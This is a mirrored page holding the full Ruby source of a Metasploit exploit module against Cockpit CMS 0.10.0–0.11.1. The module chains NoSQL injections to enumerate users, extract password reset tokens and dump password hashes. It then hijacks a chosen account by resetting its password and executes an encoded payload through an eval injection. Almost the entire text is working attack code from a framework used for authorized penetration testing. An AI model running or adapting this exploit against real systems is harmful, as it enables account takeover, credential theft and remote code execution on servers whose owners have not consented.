CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cockpit_cms_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Cockpit CMS NoSQLi to RCE',
17
'Description' => %q{
18
This module exploits two NoSQLi vulnerabilities to retrieve the user list,
19
and password reset tokens from the system. Next, the USER is targetted to
20
reset their password.
21
Then a command injection vulnerability is used to execute the payload.
22
While it is possible to upload a payload and execute it, the command injection
23
provides a no disk write method which is more stealthy.
24
Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
25
for exploitation.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'h00die', # msf module
30
'Nikita Petrov' # original PoC, analysis
31
],
32
'References' => [
33
[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
34
[ 'CVE', '2020-35847' ], # reset token extraction
35
[ 'CVE', '2020-35846' ], # user name extraction
36
],
37
'Platform' => ['php'],
38
'Arch' => ARCH_PHP,
39
'Privileged' => false,
40
'Targets' => [
41
[ 'Automatic Target', {}]
42
],
43
'DefaultOptions' => {
44
'PrependFork' => true
45
},
46
'DisclosureDate' => '2021-04-13',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
# ACCOUNT_LOCKOUTS due to reset of user password
50
'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
51
'Reliability' => [ REPEATABLE_SESSION ],
52
'Stability' => [ CRASH_SERVICE_DOWN ]
53
}
54
)
55
)
56
57
register_options(
58
[
59
Opt::RPORT(80),
60
OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
61
OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
62
OptString.new('USER', [false, 'User account to take over', ''])
63
], self.class
64
)
65
end
66
67
def get_users(check: false)
68
print_status('Attempting Username Enumeration (CVE-2020-35846)')
69
res = send_request_raw(
70
'uri' => '/auth/requestreset',
71
'method' => 'POST',
72
'ctype' => 'application/json',
73
'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
74
)
75
76
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
77
78
# return bool of if not vulnerable
79
# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
80
if check
81
return (res.body.include?('Function should be callable') ||
82
# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
83
res.body.include?('Condition not valid') ||
84
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
85
end
86
87
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
88
end
89
90
def get_reset_tokens
91
print_status('Obtaining reset tokens (CVE-2020-35847)')
92
res = send_request_raw(
93
'uri' => '/auth/resetpassword',
94
'method' => 'POST',
95
'ctype' => 'application/json',
96
'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
97
)
98
99
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
100
101
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
102
end
103
104
def get_user_info(token)
105
print_status('Obtaining user info')
106
res = send_request_raw(
107
'uri' => '/auth/newpassword',
108
'method' => 'POST',
109
'ctype' => 'application/json',
110
'data' => JSON.generate({ 'token' => token })
111
)
112
113
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
114
115
/this.user\s+=([^;]+);/ =~ res.body
116
userdata = JSON.parse(Regexp.last_match(1))
117
userdata.each do |k, v|
118
print_status(" #{k}: #{v}")
119
end
120
report_cred(
121
username: userdata['user'],
122
password: userdata['password'],
123
private_type: :nonreplayable_hash
124
)
125
userdata
126
end
127
128
def reset_password(token, user)
129
password = Rex::Text.rand_password
130
print_good("Changing password to #{password}")
131
res = send_request_raw(
132
'uri' => '/auth/resetpassword',
133
'method' => 'POST',
134
'ctype' => 'application/json',
135
'data' => JSON.generate({ 'token' => token, 'password' => password })
136
)
137
138
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
139
140
# loop through found results
141
body = JSON.parse(res.body)
142
print_good('Password update successful') if body['success']
143
report_cred(
144
username: user,
145
password: password,
146
private_type: :password
147
)
148
password
149
end
150
151
def report_cred(opts)
152
service_data = {
153
address: datastore['RHOST'],
154
port: datastore['RPORT'],
155
service_name: 'http',
156
protocol: 'tcp',
157
workspace_id: myworkspace_id
158
}
159
credential_data = {
160
origin_type: :service,
161
module_fullname: fullname,
162
username: opts[:username],
163
private_data: opts[:password],
164
private_type: opts[:private_type],
165
jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
166
}.merge(service_data)
167
168
login_data = {
169
core: create_credential(credential_data),
170
status: Metasploit::Model::Login::Status::UNTRIED,
171
proof: ''
172
}.merge(service_data)
173
create_credential_login(login_data)
174
end
175
176
def login(un, pass)
177
print_status('Attempting login')
178
res = send_request_cgi(
179
'uri' => '/auth/login',
180
'keep_cookies' => true
181
)
182
login_cookie = res.get_cookies
183
184
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
185
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body
186
187
res = send_request_cgi(
188
'uri' => '/auth/check',
189
'method' => 'POST',
190
'keep_cookies' => true,
191
'ctype' => 'application/json',
192
'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
193
)
194
195
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
196
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
197
print_good("Valid cookie for #{un}: #{login_cookie}")
198
end
199
200
def gen_token(user)
201
print_status('Attempting to generate tokens')
202
res = send_request_raw(
203
'uri' => '/auth/requestreset',
204
'method' => 'POST',
205
'keep_cookies' => true,
206
'ctype' => 'application/json',
207
'data' => JSON.generate({ user: user })
208
)
209
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
210
end
211
212
def rce
213
print_status('Attempting RCE')
214
p = Rex::Text.encode_base64(payload.encoded)
215
send_request_cgi(
216
'uri' => '/accounts/find',
217
'method' => 'POST',
218
'keep_cookies' => true,
219
'ctype' => 'application/json',
220
# this is more similar to how the original POC worked, however even with the & and prepend fork
221
# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
222
# was killed when using an arch => cmd type payload.
223
# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
224
# with this method most pages still seem to load, logins work, but the password reset will not respond
225
# however, everything else seems to work ok
226
'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
227
)
228
end
229
230
def check
231
begin
232
return Exploit::CheckCode::Appears unless get_users(check: true)
233
rescue ::Rex::ConnectionError
234
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
235
end
236
Exploit::CheckCode::Safe
237
end
238
239
def exploit
240
if datastore['ENUM_USERS']
241
users = get_users
242
print_good(" Found users: #{users}")
243
end
244
245
fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''
246
247
tokens = get_reset_tokens
248
# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
249
if tokens == []
250
gen_token(datastore['USER'])
251
tokens = get_reset_tokens
252
end
253
print_good(" Found tokens: #{tokens}")
254
good_token = ''
255
tokens.each do |token|
256
print_status("Checking token: #{token}")
257
userdata = get_user_info(token)
258
if userdata['user'] == datastore['USER']
259
good_token = token
260
break
261
end
262
end
263
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
264
password = reset_password(good_token, datastore['USER'])
265
login(datastore['USER'], password)
266
rce
267
end
268
end
269
270